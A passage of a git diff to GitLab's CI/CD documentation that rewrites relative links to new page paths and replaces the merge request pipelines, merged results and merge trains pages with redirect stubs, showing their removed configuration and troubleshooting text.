`rules`](https://gitlab.com/groups/gitlab-org/-/epics/2783), where anyone can add suggestions or requests. @@ -47,7 +47,7 @@ job: ``` - If the pipeline is for a merge request, the first rule matches, and the job - is added to the [merge request pipeline](../merge_request_pipelines/index.md) + is added to the [merge request pipeline](../pipelines/merge_request_pipelines.md) with attributes of: - `when: manual` (manual job) - `allow_failure: true` (the pipeline continues running even if the manual job is not run) @@ -150,7 +150,7 @@ causes duplicated pipelines. To avoid duplicate pipelines, you can: -- Use [`workflow`](../yaml/README.md#workflow) to specify which types of pipelines +- Use [`workflow`](../yaml/index.md#workflow) to specify which types of pipelines can run. - Rewrite the rules to run the job only in very specific cases, and avoid a final `when:` rule: @@ -179,7 +179,7 @@ job: ``` You should not include both push and merge request pipelines in the same job without -[`workflow:rules` that prevent duplicate pipelines](../yaml/README.md#switch-between-branch-pipelines-and-merge-request-pipelines): +[`workflow:rules` that prevent duplicate pipelines](../yaml/index.md#switch-between-branch-pipelines-and-merge-request-pipelines): ```yaml job: @@ -206,12 +206,12 @@ job-with-rules: For every change pushed to the branch, duplicate pipelines run. One branch pipeline runs a single job (`job-with-no-rules`), and one merge request pipeline runs the other job (`job-with-rules`). Jobs with no rules default -to [`except: merge_requests`](../yaml/README.md#only--except), so `job-with-no-rules` +to [`except: merge_requests`](../yaml/index.md#only--except), so `job-with-no-rules` runs in all cases except merge requests. ### Common `if` clauses for `rules` -For behavior similar to the [`only`/`except` keywords](../yaml/README.md#only--except), you can +For behavior similar to the [`only`/`except` keywords](../yaml/index.md#only--except), you can check the value of the `$CI_PIPELINE_SOURCE` variable: | Value | Description | @@ -220,12 +220,12 @@ check the value of the `$CI_PIPELINE_SOURCE` variable: | `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. | | `external` | When you use CI services other than GitLab. | | `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). | -| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | -| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | -| `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](../yaml/README.md#trigger) keyword. | +| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../pipelines/merge_request_pipelines.md), [merged results pipelines](../pipelines/pipelines_for_merged_results.md), and [merge trains](../pipelines/merge_trains.md). | +| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../pipelines/parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | +| `pipeline` | For [multi-project pipelines](../pipelines/multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../pipelines/multi_project_pipelines.md#create-multi-project-pipelines-by-using-the-api), or the [`trigger`](../yaml/index.md#trigger) keyword. | | `push` | For pipelines triggered by a `git push` event, including for branches and tags. | | `schedule` | For [scheduled pipelines](../pipelines/schedules.md). | -| `trigger` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). | +| `trigger` | For pipelines created by using a [trigger token](../triggers/index.md#trigger-token). | | `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. | | `webide` | For pipelines created by using the [WebIDE](../../user/project/web_ide/index.md). | @@ -243,7 +243,7 @@ job: - if: '$CI_PIPELINE_SOURCE == "push"' ``` -The following example runs the job as a `when: on_success` job in [merge request pipelines](../merge_request_pipelines/index.md) +The following example runs the job as a `when: on_success` job in [merge request pipelines](../pipelines/merge_request_pipelines.md) and scheduled pipelines. It does not run in any other pipeline type. ```yaml @@ -263,7 +263,7 @@ Other commonly used variables for `if` clauses: branch. Use when you want to have the same configuration in multiple projects with different default branches. - `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression. -- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables) +- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/index.md#custom-cicd-variables) `CUSTOM_VARIABLE` does **not** match a regular expression. - `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is exactly `value1`. @@ -292,7 +292,7 @@ You can use the `$` character for both variables and paths. For example, if the ## Specify when jobs run with `only` and `except` -You can use [`only`](../yaml/README.md#only--except) and [`except`](../yaml/README.md#only--except) +You can use [`only`](../yaml/index.md#only--except) and [`except`](../yaml/index.md#only--except) to control when to add jobs to pipelines. - Use `only` to define when a job runs. @@ -301,12 +301,12 @@ to control when to add jobs to pipelines. ### `only:refs` / `except:refs` examples `only` or `except` used without `refs` is the same as -[`only:refs` / `except/refs`](../yaml/README.md#onlyrefs--exceptrefs) +[`only:refs` / `except/refs`](../yaml/index.md#onlyrefs--exceptrefs) In the following example, `job` runs only for: - Git tags -- [Triggers](../triggers/README.md#trigger-token) +- [Triggers](../triggers/index.md#trigger-token) - [Scheduled pipelines](../pipelines/schedules.md) ```yaml @@ -334,7 +334,7 @@ except `main` and branches that start with `release/`. ### `only: variables` / `except: variables` examples -You can use [`except:variables`](../yaml/README.md#onlyvariables--exceptvariables) to exclude jobs based on a commit message: +You can use [`except:variables`](../yaml/index.md#onlyvariables--exceptvariables) to exclude jobs based on a commit message: ```yaml end-to-end: @@ -382,7 +382,7 @@ Read more about how to use `only:changes` and `except:changes`: #### Use `only:changes` with pipelines for merge requests -With [pipelines for merge requests](../merge_request_pipelines/index.md), +With [pipelines for merge requests](../pipelines/merge_request_pipelines.md), it's possible to define a job to be created based on files modified in a merge request. @@ -432,7 +432,7 @@ properly corrects any failures from previous pipelines. #### Use `only:changes` without pipelines for merge requests -Without [pipelines for merge requests](../merge_request_pipelines/index.md), pipelines +Without [pipelines for merge requests](../pipelines/merge_request_pipelines.md), pipelines run on branches or tags that don't have an explicit association with a merge request. In this case, a previous SHA is used to calculate the diff, which is equivalent to `git diff HEAD~`. This can result in some unexpected behavior, including: @@ -502,16 +502,16 @@ test: You can use [predefined CI/CD variables](../variables/predefined_variables.md) to choose which pipeline types jobs run in, with: -- [`rules`](../yaml/README.md#rules) -- [`only:variables`](../yaml/README.md#onlyvariables--exceptvariables) -- [`except:variables`](../yaml/README.md#onlyvariables--exceptvariables) +- [`rules`](../yaml/index.md#rules) +- [`only:variables`](../yaml/index.md#onlyvariables--exceptvariables) +- [`except:variables`](../yaml/index.md#onlyvariables--exceptvariables) The following table lists some of the variables that you can use, and the pipeline types the variables can control for: - Branch pipelines that run for Git `push` events to a branch, like new commits or tags. - Tag pipelines that run only when a new Git tag is pushed to a branch. -- [Merge request pipelines](../merge_request_pipelines/index.md) that run for changes +- [Merge request pipelines](../pipelines/merge_request_pipelines.md) that run for changes to a merge request, like new commits or selecting the **Run pipeline** button in a merge request's pipelines tab. - [Scheduled pipelines](../pipelines/schedules.md). @@ -592,14 +592,14 @@ Feature.enable(:allow_unsafe_ruby_regexp) ## CI/CD variable expressions -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyvariables--exceptvariables) -> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules) +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/index.md#onlyvariables--exceptvariables) +> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/index.md#rules) Use variable expressions to control which jobs are created in a pipeline after changes are pushed to GitLab. You can use variable expressions with: -- [`rules:if`](../yaml/README.md#rules). -- [`only:variables` and `except:variables`](../yaml/README.md#onlyvariables--exceptvariables). +- [`rules:if`](../yaml/index.md#rules). +- [`only:variables` and `except:variables`](../yaml/index.md#onlyvariables--exceptvariables). For example, with `rules:if`: diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md index 62e9749d959..c3b0cd79d2c 100644 --- a/doc/ci/large_repositories/index.md +++ b/doc/ci/large_repositories/index.md @@ -28,7 +28,7 @@ Each guideline is described in more detail in the sections below: > Introduced in GitLab Runner 8.9. -GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#git-shallow-clone) +GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#limit-the-number-of-changes-fetched-during-clone) by default. Ideally, you should always use `GIT_DEPTH` with a small number diff --git a/doc/ci/lint.md b/doc/ci/lint.md index 3888a750d6a..746638442a7 100644 --- a/doc/ci/lint.md +++ b/doc/ci/lint.md @@ -20,7 +20,7 @@ in your project and click **CI lint**. ## Validate basic logic and syntax By default, the CI lint checks the syntax of your CI YAML configuration and also runs -some basic logical validations. Configuration added with the [`includes` keyword](yaml/README.md#include), +some basic logical validations. Configuration added with the [`includes` keyword](yaml/index.md#include), is also validated. To use the CI lint, paste a complete CI configuration (`.gitlab-ci.yml` for example) diff --git a/doc/ci/merge_request_pipelines/img/merge_request.png b/doc/ci/merge_request_pipelines/img/merge_request.png Binary files differdeleted file mode 100644 index bb64e17cc91..00000000000 --- a/doc/ci/merge_request_pipelines/img/merge_request.png +++ /dev/null diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index 1866b40093a..c852800d0a9 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -1,237 +1,8 @@ --- -stage: Verify -group: Pipeline Execution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference, index -last_update: 2019-07-03 +redirect_to: '../pipelines/merge_request_pipelines.md' --- -# Pipelines for Merge Requests +This document was moved to [another location](../pipelines/merge_request_pipelines.md). -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/15310) in GitLab 11.6. - -In a [basic configuration](../pipelines/pipeline_architectures.md#basic-pipelines), GitLab runs a pipeline each time -changes are pushed to a branch. - -If you want the pipeline to run jobs **only** on commits to a branch that is associated with a merge request, -you can use *pipelines for merge requests*. - -In the UI, these pipelines are labeled as `detached`. Otherwise, these pipelines appear the same -as other pipelines. - -Pipelines for merge requests can run when you: - -- Create a new merge request. -- Commit changes to the source branch for the merge request. -- Select the **Run pipeline** button from the **Pipelines** tab in the merge request. - -Any user who has developer [permissions](../../user/permissions.md) -can run a pipeline for merge requests. - - - -If you use this feature with [merge when pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md), -pipelines for merge requests take precedence over the other regular pipelines. - -## Prerequisites - -To enable pipelines for merge requests: - -- Your repository must be a GitLab repository, not an - [external repository](../ci_cd_for_external_repos/index.md). -- [In GitLab 11.10 and later](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/25504), - you must be using GitLab Runner 11.9. - -## Configuring pipelines for merge requests - -To configure pipelines for merge requests you need to configure your [CI/CD configuration file](../yaml/README.md). -There are a few different ways to do this: - -### Use `rules` to run pipelines for merge requests - -When using `rules`, which is the preferred method, we recommend starting with one -of the [`workflow:rules` templates](../yaml/README.md#workflowrules-templates) to ensure -your basic configuration is correct. Instructions on how to do this, as well as how -to customize, are available at that link. - -### Use `only` or `except` to run pipelines for merge requests - -If you want to continue using `only/except`, this is possible but please review the drawbacks -below. - -When you use this method, you have to specify `only: - merge_requests` for each job. In this -example, the pipeline contains a `test` job that is configured to run on merge requests. - -The `build` and `deploy` jobs don't have the `only: - merge_requests` keyword, -so they don't run on merge requests. - -```yaml -build: - stage: build - script: ./build - only: - - main - -test: - stage: test - script: ./test - only: - - merge_requests - -deploy: - stage: deploy - script: ./deploy - only: - - main -``` - -#### Excluding certain jobs - -The behavior of the `only: [merge_requests]` keyword is such that _only_ jobs with -that keyword are run in the context of a merge request; no other jobs run. - -However, you can invert this behavior and have all of your jobs run _except_ -for one or two. - -Consider the following pipeline, with jobs `A`, `B`, and `C`. Imagine you want: - -- All pipelines to always run `A` and `B`. -- `C` to run only for merge requests. - -To achieve this, you can configure your `.gitlab-ci.yml` file as follows: - -```yaml -.only-default: &only-default - only: - - main - - merge_requests - - tags - -A: - <<: *only-default - script: - - ... - -B: - <<: *only-default - script: - - ... - -C: - script: - - ... - only: - - merge_requests -``` - -Therefore: - -- Since `A` and `B` are getting the `only:` rule to execute in all cases, they always run. -- Since `C` specifies that it should only run for merge requests, it doesn't run for any pipeline - except a merge request pipeline. - -This helps you avoid having to add the `only:` rule to all of your jobs to make -them always run. You can use this format to set up a Review App, helping to -save resources. - -#### Excluding certain branches - -Pipelines for merge requests require special treatment when -using [`only`/`except`](../yaml/README.md#only--except). Unlike ordinary -branch refs (for example `refs/heads/my-feature-branch`), merge request refs -use a special Git reference that looks like `refs/merge-requests/:iid/head`. Because -of this, the following configuration will **not** work as expected: - -```yaml -# Does not exclude a branch named "docs-my-fix"! -test: - only: [merge_requests] - except: [/^docs-/] -``` - -Instead, you can use the -[`$CI_COMMIT_REF_NAME` predefined environment -variable](../variables/predefined_variables.md) in -combination with -[`only:variables`](../yaml/README.md#onlyvariables--exceptvariables) to -accomplish this behavior: - -```yaml -test: - only: [merge_requests] - except: - variables: - - $CI_COMMIT_REF_NAME =~ /^docs-/ -``` - -## Pipelines for Merged Results **(PREMIUM)** - -Read the [documentation on Pipelines for Merged Results](pipelines_for_merged_results/index.md). - -### Merge Trains **(PREMIUM)** - -Read the [documentation on Merge Trains](pipelines_for_merged_results/merge_trains/index.md). - -## Run pipelines in the parent project for merge requests from a forked project **(PREMIUM)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217451) in GitLab 13.3. -> - [Moved](https://about.gitlab.com/blog/2021/01/26/new-gitlab-product-subscription-model/) to GitLab Premium in 13.9. - -By default, external contributors working from forks can't create pipelines in the -parent project. When a pipeline for merge requests is triggered by a merge request -coming from a fork: - -- It's created and runs in the fork (source) project, not the parent (target) project. -- It uses the fork project's CI/CD configuration and resources. - -If a pipeline runs in a fork, the **fork** icon appears for the pipeline in the merge request. - - - -Sometimes parent project members want the pipeline to run in the parent -project. This could be to ensure that the post-merge pipeline passes in the parent project. -For example, a fork project could try to use a corrupted runner that doesn't execute -test scripts properly, but reports a passed pipeline. Reviewers in the parent project -could mistakenly trust the merge request because it passed a faked pipeline. - -Parent project members with at least [Developer permissions](../../user/permissions.md) -can create pipelines in the parent project for merge requests -from a forked project. In the merge request, go to the **Pipelines** and click -**Run pipeline** button. - -WARNING: -Fork merge requests could contain malicious code that tries to steal secrets in the -parent project when the pipeline runs, even before merge. Reviewers must carefully -check the changes in the merge request before triggering the pipeline. GitLab shows -a warning that must be accepted before the pipeline can be triggered. - -## Additional predefined variables - -By using pipelines for merge requests, GitLab exposes additional predefined variables to the pipeline jobs. -Those variables contain information of the associated merge request, so that it's useful -to integrate your job with [GitLab Merge Request API](../../api/merge_requests.md). - -You can find the list of available variables in [the reference sheet](../variables/predefined_variables.md). -The variable names begin with the `CI_MERGE_REQUEST_` prefix. - -## Troubleshooting - -### Two pipelines created when pushing to a merge request - -If you are experiencing duplicated pipelines when using `rules`, take a look at -the [important differences between `rules` and `only`/`except`](../jobs/job_control.md#avoid-duplicate-pipelines), -which helps you get your starting configuration correct. - -If you are seeing two pipelines when using `only/except`, please see the caveats -related to using `only/except` above (or, consider moving to `rules`). - -In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) and later, -you can add `workflow:rules` to [switch from branch pipelines to merge request pipelines](../yaml/README.md#switch-between-branch-pipelines-and-merge-request-pipelines) -after a merge request is open on the branch. - -### Two pipelines created when pushing an invalid CI configuration file - -Pushing to a branch with an invalid CI configuration file can trigger -the creation of two types of failed pipelines. One pipeline is a failed merge request -pipeline, and the other is a failed branch pipeline, but both are caused by the same -invalid configuration. +<!-- This redirect file can be deleted after 2021-09-29. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md index 552c007c70d..76a79ba1356 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md @@ -1,135 +1,8 @@ --- -stage: Verify -group: Pipeline Execution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference -last_update: 2019-07-03 +redirect_to: '../../pipelines/pipelines_for_merged_results.md' --- -# Pipelines for Merged Results **(PREMIUM)** +This document was moved to [another location](../../pipelines/pipelines_for_merged_results.md). -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7380) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.10. - -When you submit a merge request, you are requesting to merge changes from a -source branch into a target branch. By default, the CI pipeline runs jobs -against the source branch. - -With *pipelines for merged results*, the pipeline runs as if the changes from -the source branch have already been merged into the target branch. The commit shown for the pipeline does not exist on the source or target branches but represents the combined target and source branches. - - - -If the pipeline fails due to a problem in the target branch, you can wait until the -target is fixed and re-run the pipeline. -This new pipeline runs as if the source is merged with the updated target, and you -don't need to rebase. - -The pipeline does not automatically run when the target branch changes. Only changes -to the source branch trigger a new pipeline. If a long time has passed since the last successful -pipeline, you may want to re-run it before merge, to ensure that the source changes -can still be successfully merged into the target. - -When the merge request can't be merged, the pipeline runs against the source branch only. For example, when: - -- The target branch has changes that conflict with the changes in the source branch. -- The merge request is a [**Draft** merge request](../../../user/project/merge_requests/drafts.md). - -In these cases, the pipeline runs as a [pipeline for merge requests](../index.md) -and is labeled as `detached`. If these cases no longer exist, new pipelines -again run against the merged results. - -Any user who has developer [permissions](../../../user/permissions.md) can run a -pipeline for merged results. - -## Prerequisites - -To enable pipelines for merge results: - -- You must have the [Maintainer role](../../../user/permissions.md). -- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later. -- You must not be using - [fast forward merges](../../../user/project/merge_requests/fast_forward_merge.md) yet. - To follow progress, see [#58226](https://gitlab.com/gitlab-org/gitlab/-/issues/26996). -- Your repository must be a GitLab repository, not an - [external repository](../../ci_cd_for_external_repos/index.md). - -## Enable pipelines for merged results - -To enable pipelines for merged results for your project: - -1. [Configure your CI/CD configuration file](../index.md#configuring-pipelines-for-merge-requests) - so that the pipeline or individual jobs run for merge requests. -1. Visit your project's **Settings > General** and expand **Merge requests**. -1. Check **Enable merged results pipelines**. -1. Click **Save changes**. - -WARNING: -If you select the check box but don't configure your CI/CD to use -pipelines for merge requests, your merge requests may become stuck in an -unresolved state or your pipelines may be dropped. - -## Using Merge Trains - -When you enable [Pipelines for merged results](#pipelines-for-merged-results), -GitLab [automatically displays](merge_trains/index.md#add-a-merge-request-to-a-merge-train) -a **Start/Add Merge Train button**. - -Generally, this is a safer option than merging merge requests immediately, because your -merge request is evaluated with an expected post-merge result before the actual -merge happens. - -For more information, read the [documentation on Merge Trains](merge_trains/index.md). - -## Automatic pipeline cancellation - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12996) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3. - -GitLab CI/CD can detect the presence of redundant pipelines, and cancels them -to conserve CI resources. - -When a user merges a merge request immediately within an ongoing merge -train, the train is reconstructed, because it recreates the expected -post-merge commit and pipeline. In this case, the merge train may already -have pipelines running against the previous expected post-merge commit. -These pipelines are considered redundant and are automatically -canceled. - -## Troubleshooting - -### Pipelines for merged results not created even with new change pushed to merge request - -Can be caused by some disabled feature flags. Please make sure that -the following feature flags are enabled on your GitLab instance: - -- `:merge_ref_auto_sync` - -To check and set these feature flag values, please ask an administrator to: - -1. Log into the Rails console of the GitLab instance: - - ```shell - sudo gitlab-rails console - ``` - -1. Check if the flags are enabled or not: - - ```ruby - Feature.enabled?(:merge_ref_auto_sync) - ``` - -1. If needed, enable the feature flags: - - ```ruby - Feature.enable(:merge_ref_auto_sync) - ``` - -### Intermittently pipelines fail by `fatal: reference is not a tree:` error - -Since pipelines for merged results are a run on a merge ref of a merge request -(`refs/merge-requests/<iid>/merge`), the Git reference could be overwritten at an -unexpected timing. For example, when a source or target branch is advanced. -In this case, the pipeline fails because of `fatal: reference is not a tree:` error, -which indicates that the checkout-SHA is not found in the merge ref. - -This behavior was improved at GitLab 12.4 by introducing [Persistent pipeline refs](../../troubleshooting.md#fatal-reference-is-not-a-tree-error). -You should be able to create pipelines at any timings without concerning the error. +<!-- This redirect file can be deleted after 2021-09-29. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index 7f237655593..8b2316fd340 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -1,236 +1,8 @@ --- -stage: Verify -group: Pipeline Execution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference -last_update: 2019-07-03 +redirect_to: '../../../pipelines/merge_trains.md' --- -# Merge Trains **(PREMIUM)** +This document was moved to [another location](../../../pipelines/merge_trains.md). -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9186) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.0. -> - [Squash and merge](../../../../user/project/merge_requests/squash_and_merge.md) support [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13001) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.6. - -For more information about why you might want to use Merge Trains, read [How merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/). - -When [pipelines for merged results](../index.md#pipelines-for-merged-results) are -enabled, the pipeline jobs run as if the changes from your source branch have already -been merged into the target branch. - -However, the target branch may be changing rapidly. When you're ready to merge, -if you haven't run the pipeline in a while, the target branch may have already changed. -Merging now could introduce breaking changes. - -*Merge trains* can prevent this from happening. A merge train is a queued list of merge -requests, each waiting to be merged into the target branch. - -Many merge requests can be added to the train. Each merge request runs its own merged results pipeline, -which includes the changes from all of the other merge requests in *front* of it on the train. -All the pipelines run in parallel, to save time. - -If the pipeline for a merge request fails, the breaking changes are not merged, and the target -branch is unaffected. The merge request is removed from the train, and all pipelines behind it restart. - -If the pipeline for the merge request at the front of the train completes successfully, -the changes are merged into the target branch, and the other pipelines continue to -run. - -To add a merge request to a merge train, you need [permissions](../../../../user/permissions.md) to push to the target branch. - -Each merge train can run a maximum of **twenty** pipelines in parallel. -If more than twenty merge requests are added to the merge train, the merge requests -are queued until a slot in the merge train is free. There is no limit to the -number of merge requests that can be queued. - -## Merge train example - -Three merge requests (`A`, `B` and `C`) are added to a merge train in order, which -creates three merged results pipelines that run in parallel: - -1. The first pipeline runs on the changes from `A` combined with the target branch. -1. The second pipeline runs on the changes from `A` and `B` combined with the target branch. -1. The third pipeline runs on the changes from `A`, `B`, and `C` combined with the target branch. - -If the pipeline for `B` fails, it is removed from the train. The pipeline for -`C` restarts with the `A` and `C` changes, but without the `B` changes. - -If `A` then completes successfully, it merges into the target branch, and `C` continues -to run. If more merge requests are added to the train, they now include the `A` -changes that are included in the target branch, and the `C` changes that are from -the merge request already in the train. - -Read more about [how merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/). - -<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -Watch this video for a demonstration on [how parallel execution -of Merge Trains can prevent commits from breaking the default -branch](https://www.youtube.com/watch?v=D4qCqXgZkHQ). - -## Prerequisites - -To enable merge trains: - -- You must have the [Maintainer role](../../../../user/permissions.md). -- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later. -- In GitLab 13.0 and later, you need [Redis](https://redis.io/) 5.0 or later. -- Your repository must be a GitLab repository, not an - [external repository](../../../ci_cd_for_external_repos/index.md). - -## Enable merge trains - -To enable merge trains for your project: - -1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag) is set correctly. -1. [Configure your CI/CD configuration file](../../index.md#configuring-pipelines-for-merge-requests) - so that the pipeline or individual jobs run for merge requests. -1. Visit your project's **Settings > General** and expand **Merge requests**. -1. In the **Merge method** section, verify that **Merge commit** is selected. - You cannot use **Merge commit with semi-linear history** or **Fast-forward merge** with merge trains. -1. In the **Merge options** section, select **Enable merged results pipelines.** (if not already selected) and **Enable merge trains.** -1. Click **Save changes** - -In GitLab 13.5 and earlier, there is only one checkbox, named -**Enable merge trains and pipelines for merged results**. - -WARNING: -If you select the check box but don't configure your CI/CD to use -pipelines for merge requests, your merge requests may become stuck in an -unresolved state or your pipelines may be dropped. - -## Start a merge train - -To start a merge train: - -1. Visit a merge request. -1. Click the **Start merge train** button. - - - -Other merge requests can now be added to the train. - -## Add a merge request to a merge train - -To add a merge request to a merge train: - -1. Visit a merge request. -1. Click the **Add to merge train** button. - -If pipelines are already running for the merge request, you cannot add the merge request -to the train. Instead, you can schedule to add the merge request to a merge train **when the latest -pipeline succeeds**. - - - -## Remove a merge request from a merge train - -1. Visit a merge request. -1. Click the **Remove from merge train** button. - - - -If you want to add the merge request to a merge train again later, you can. - -## View a merge request's current position on the merge train - -After a merge request has been added to the merge train, the merge request's -current position is displayed under the pipeline widget: - - - -## Immediately merge a merge request with a merge train - -If you have a high-priority merge request (for example, a critical patch) that must -be merged urgently, you can bypass the merge train by using the **Merge Immediately** option. -This is the fastest option to get the change merged into the target branch. - - - -WARNING: -Each time you merge a merge request immediately, the current merge train -is recreated and all pipelines restart. - -## Troubleshooting - -### Merge request dropped from the merge train immediately - -If a merge request is not mergeable (for example, it's a draft merge request, there is a merge -conflict, etc.), your merge request is dropped from the merge train automatically. - -In these cases, the reason for dropping the merge request is in the **system notes**. - -To check the reason: - -1. Open the merge request that was dropped from the merge train. -1. Open the **Discussion** tab. -1. Find a system note that includes either: - - The text **... removed this merge request from the merge train because ...** - - **... aborted this merge request from the merge train because ...** - The reason is given in the text after the **because ...** phrase. - - - -### Merge When Pipeline Succeeds cannot be chosen - -[Merge When Pipeline Succeeds](../../../../user/project/merge_requests/merge_when_pipeline_succeeds.md) -is currently unavailable when Merge Trains are enabled. - -See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/12267) -for more information. - -### Merge Train Pipeline cannot be retried - -When a pipeline for merge trains fails the merge request is dropped from the train and the pipeline can't be retried. -Pipelines for merge trains run on the merged result of the changes in the merge request and -the changes from other merge requests already on the train. If the merge request is dropped from the train, -the merged result is out of date and the pipeline can't be retried. - -Instead, you should [add the merge request to the train](#add-a-merge-request-to-a-merge-train) -again, which triggers a new pipeline. - -### Unable to add to merge train with message "The pipeline for this merge request failed." - -Sometimes the **Start/Add to Merge Train** button is not available and the merge request says, -"The pipeline for this merge request failed. Please retry the job or push a new commit to fix the failure." - -This issue occurs when [**Pipelines must succeed**](../../../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds) -is enabled in **Settings > General > Merge requests**. This option requires that you -run a new successful pipeline before you can re-add a merge request to a merge train. - -Merge trains ensure that each pipeline has succeeded before a merge happens, so -you can clear the **Pipelines must succeed** check box and keep -**Enable merge trains and pipelines for merged results** (merge trains) enabled. - -If you want to keep the **Pipelines must succeed** option enabled along with Merge -Trains, create a new pipeline for merged results when this error occurs: - -1. Go to the **Pipelines** tab and click **Run pipeline**. -1. Click **Start/Add to merge train when pipeline succeeds**. - -See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35135) -for more information. - -### Merge Trains feature flag **(PREMIUM SELF)** - -In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/244831), -you can [enable or disable merge trains in the project settings](#enable-merge-trains). - -In GitLab 13.5 and earlier, merge trains are automatically enabled when -[pipelines for merged results](../index.md#pipelines-for-merged-results) are enabled. -To use pipelines for merged results without using merge trains, you can enable a -[feature flag](../../../../user/feature_flags.md) that blocks the merge trains feature. - -[GitLab administrators with access to the GitLab Rails console](../../../../administration/feature_flags.md) -can enable the feature flag to disable merge trains: - -```ruby -Feature.enable(:disable_merge_trains) -``` - -After you enable this feature flag, all existing merge trains are cancelled and -the **Start/Add to Merge Train** button no longer appears in merge requests. - -To disable the feature flag, and enable merge trains again: - -```ruby -Feature.disable(:disable_merge_trains) -``` +<!-- This redirect file can be deleted after 2021-09-29. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md index 47236668e89..0b0226f428a 100644 --- a/doc/ci/metrics_reports.md +++ b/doc/ci/metrics_reports.md @@ -37,7 +37,7 @@ For an MR, the values of these metrics from the feature branch are compared to t ## How to set it up -Add a job that creates a [metrics report](yaml/README.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format. +Add a job that creates a [metrics report](yaml/index.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The 